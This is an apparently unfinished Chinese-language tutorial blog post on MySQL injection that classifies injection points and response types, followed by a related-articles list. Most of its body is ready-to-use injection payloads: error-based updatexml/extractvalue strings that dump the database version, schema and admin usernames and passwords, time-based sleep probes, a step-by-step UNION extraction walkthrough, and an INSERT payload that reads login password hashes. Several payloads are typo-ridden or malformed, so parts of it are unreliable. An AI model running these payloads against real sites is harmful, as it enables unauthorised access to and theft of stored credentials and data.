MySQL注入点与SQL语句的关系
注入位置分类

这个分类方式是我自己想的,可能会有一些不准确。如图所示注入方式有3种,内联、终止、堆叠。每种注入方式又根据服务器的响应分为4类,时间延迟、报错、布尔、将执行结果直接输出。
为什么给注入作分类?
sql语句添加了注入语句之后,需要SQL编译器还是能正常编译并执行,才能达成攻击目的,不同的SQL语句写法,加入的位置会有不同,不同的位置有不同的区别,这里说的不同就是本文研究的对象。
内联式 - UNION query SQL injection

图案说明:

终止式 - End SQL injection
select * from users where name='test' or id>40;
select * from users where name='test'; -- or id>40;
画图说明:

堆叠式 - Stacked queries SQL injection

select * from users where id>40;delete from users where id=44;

id=44被删除了,说明用;堆叠起来的sql语句是能执行的。
画图说明:

显示方式 - Respons of to show
显示方式指,你注入的是服务器的数据库,那么不管成功还是失败,都会得到服务器给你的响应。通过响应你才能知道你注入的语句执行成功了没,通过响应你才能拿到数据库里面的信息。而不同的业务场景、不同的开发就会有不同的响应显示方式,一般有报错返回、布尔返回、什么都不显示(通过时间延迟显示延迟数)。
报错注入 - Error-based SQL injection
报错注入有两种利用方式,一种是通过if( )函数,当判断出错的时候,就报错。一种是利用updatexml( )函数,直接将查询的内容通过报错信息展示出来。
if( )函数
0x7e (HEX码) = ~ (ASCII码)
假设要查询的name=lisi:

select name from users where id=1;
select substring((select name from users where id=1),1,1);
select * from users where name='lisi' and if((substring((select name from users where id=1),1,1)='i'),1,exp(~(select * from (select user () ) a) ));
判读 lisi 第一个值为i 报错:

判读 lisi 第一个值为l 正常输出查询内容:

找了一些生僻函数用来报错:
1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
updatexml( )函数
updatexml( )函数的作用是对XML文档查询、修改、更新。在注入场景下的作用是将查询的内容通过报错信息展示出来。
①爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
②链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
example:
①

②

时间延迟注入 - Time-based blind SQL injection
if( )
select * from users where name='lisi' ;
select substring((select name from users where id=1),1,1);
select * from users where name='lisi' and if((substring((select name from users where id=1),1,1)='i'),1,sleep(5));
out:
sql> select * from users where name='lisi'
[2019-09-04 18:57:32] 1 row retrieved starting from 1 in 48 ms (execution: 7 ms, fetching: 41 ms)
sql> select * from users where name='lisi' and if((substring((select name from users where id=1),1,1)='i'),1,sleep(5))
[2019-09-04 18:57:43] 0 rows retrieved in 5 s 25 ms (execution: 5 s 4 ms, fetching: 21 ms)

当if判断的字符不为预期的时候延时5秒。
benchmark( )
语法:
benchmark(count,expr) --- 函数重复
Example:
select benchmark(50000,md5('test'));
#0.15sec
select benchmark(5000000,md5('test'));
#1.54sec
select benchmark(50000000,md5('test'));
#14.71sec
布尔注入 - Boolean-based blind SQL injection
select * from users where name='lisi' ;
select substring((select name from users where id=1),1,1);
select * from users where name='lisi' and substring((select name from users where id=1),1,1)='i' and id < 20;

逻辑判断字符为预期时,正常输出查询内容。

逻辑判断字符不为预期时,查询不出内容。
回显执行结果注入
这个在实战中不常见。一般靶机才会这么写。有小概率会碰到例外。
总结
我感觉时间延迟注入、报错注入、布尔注入利用都差不多,只不过是改成时间、报错、逻辑值的方式让值输出来而已。
终止式 + 回显执行结果的注入案例
1.确认有无注入
1' and '1' ='1
1' and '1' ='2
1' and "1" ="1
1' and "1" ="2
1 and 1 = 1
1 and 1 = 2
2.判断他select几列
order by n 或者 untion select 1,2,3,n 效果一样。
select name,password from users where name='lisi' order by 2; #超过2就报错
# or
select name,password from users where name='lisi' union select 1,2; # 1,2,3 超过2列就报错
select name,password from users where name='lisi' union select 1,database();
3.获取库名
select name,password from users where name='1' union select 1,database() #
4.获取表名
select name,password from users where name='1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
#grup_concat() 将group by产生的同一个分组中的值连接起来,返回一个字符串结果。简单就是 将相同的行组合起来
5.获取字段名
select name,password from users where name='1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
6.获取字段数据
select name,password from users where name='1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
常见SQL语句有注入的位置
where
select name,password from users where name='lisi' and password='123456';
注入点在where后面的查询参数 name、password,这种是最典型的,使用内联式可能较方便。
insert
这个位置有点复杂,使用终止、堆叠都可能会报错,得采用内联类
正常语句:
insert into table (firstname,lastname) values ('john','smith');
注入语句:
insert into table (firstname,lastname) values ('john',(select top 1 name + '|' + master.sys.fn.varbintohexstr(password hash) form sys.sql logins))-- ','smith');
updata
使用终止式;
todo
detele
使用终止式;
todo
order by
使用终止式;
todo
like
使用终止式;
todo
limit
使用终止式;
todo
文章还没有更新完,请关注https://www.cnblogs.com/mysticbinary博客,方便获得最新更新。
MySQL注入点与SQL语句的关系的更多相关文章
- 【转】MySQL用户管理及SQL语句详解
[转]MySQL用户管理及SQL语句详解 1.1 MySQL用户管理 1.1.1 用户的定义 用户名+主机域 mysql> select user,host,password from mysq ...
- 浅谈mysql配置优化和sql语句优化【转】
做优化,我在这里引用淘宝系统分析师蒋江伟的一句话:只有勇于承担,才能让人有勇气,有承担自己的错误的勇气.有承担错误的勇气,就有去做事得勇气.无论做什么事,只要是对的,就要去做,勇敢去做.出了错误,承担 ...
- MySQL数据库(一)—— 数据库介绍、MySQL安装、基础SQL语句
数据库介绍.MySQL安装.基础SQL语句 一.数据库介绍 1.什么是数据库 数据库即存储数据的仓库 2.为什么要用数据库 (1)用文件存储是和硬盘打交道,是IO操作,所以有效率问题 (2)管理不方便 ...
- 如何用VS EF连接 Mysql,以及执行SQL语句 和存储过程?
VS2013, MySQL5.7.18 , MySQL5.7.14 执行SQL语句: ztp_user z = new ztp_user(); object[] obj = new object[] ...
- [视频]K8飞刀 mysql注入点拿shell & UDF提权教程
[视频]K8飞刀 mysql注入点拿shell & UDF提权教程 链接: https://pan.baidu.com/s/1a7u_uJNF6SReDbfVtAotIw 提取码: ka5m
- 如何记录MySQL执行过的SQL语句
很多时候,我们需要知道 MySQL 执行过哪些 SQL 语句,比如 MySQL 被注入后,需要知道造成什么伤害等等.只要有 SQL 语句的记录,就能知道情况并作出对策.服务器是可以开启 MySQL 的 ...
- mysql里面如何用sql语句让字符串转换为数字
sql语句将字符串转换为数字默认去掉单引号中的空格,遇到空格作为字符串截止, SELECT '123 and 1=1' +0 结果为123 MySQL里面如何用sql语句让字符串的‘123’转换为数字 ...
- mysql 中常用的 sql 语句
SQL分类: DDL-----数据定义语言(CREATE--创建,ALTER--修改. DROP--删除表,DECLARE--声明) DML-----数据定义语言(SELECT--查询,DELECT- ...
- mysql 优化(包含sql语句的书写)
http://blog.chinaunix.net/uid-11640640-id-3426908.html mysql性能优化-慢查询分析.优化索引和配置 2012-11-30 15:18:42 ...
随机推荐
- Codeforces Round #604 (Div. 2) B. Beautiful Numbers(双指针)
题目链接:https://codeforces.com/contest/1265/problem/B 题意 给出大小为 $n$ 的一个排列,问对于每个 $i(1 \le i \le n)$,原排列中是 ...
- P1435 回文字串(DP)
题目描述 回文词是一种对称的字符串.任意给定一个字符串,通过插入若干字符,都可以变成回文词.此题的任务是,求出将给定字符串变成回文词所需要插入的最少字符数. 比如 "Ab3bd"插 ...
- XHXJ's LIS HDU - 4352 最长递增序列&数位dp
代码+题解: 1 //题意: 2 //输出在区间[li,ri]中有多少个数是满足这个要求的:这个数的最长递增序列长度等于k 3 //注意是最长序列,可不是子串.子序列是不用紧挨着的 4 // 5 // ...
- 记录一些Python中不常用但非常好用的函数
zfill(): 方法返回指定长度的字符串,原字符串右对齐,前面填充0. print('Helloworld'.zfill(50))0000000000000000000000000000000000 ...
- Chrome Switchs & Chrome Pref
Chrome Switchs: https://chromium.googlesource.com/chromium/src/+/master/chrome/common/chrome_switche ...
- ArcGIS处理栅格数据(三)
六.制作镶嵌数据集(栅格数据集优点:a.浏览速度快:b.入库速度快:c.可指定区域显示) 1.右键目录中的数据库,新建"镶嵌数据集". 2.添加栅格数据. 3.定义金字塔. 4.构 ...
- C++ inline与operator
title: C++ inline与operator date: 2020-03-10 categories: c++ tags: [c++] inline修饰符,operator关键字 1.inli ...
- codeforces 1030D Vasya and Triangle【思维+gcd】
题目:戳这里 题意:选出三个点构成三角形,要求面积为n*m/k. 解题思路:因为三个点的坐标都是正整数,根据三角形面积公式(x1*(y2-y3)+x2*(y3-y1)+x3*(y1-y2))/2=n* ...
- 涂颜色的RPG问题
长度为n的方格,刷3种颜色的颜料,相邻的方格颜料颜色不能相同,且首尾方格颜色不能相同.每个方格必须涂色.计算一共有多少种涂色方式. 解题思路:(1)f(1)=3,f(2)=6,f(3)=6 (2)如果 ...
- Bastion Host (BH)
Bastion Host (BH) 堡垒机 堡垒主机是专门设计和构造成承受攻击网络上的专用计算机. 该计算机通常承载单个应用程序,例如代理服务器,并且所有其他服务都将被删除或限制以减少对计算机的威胁. ...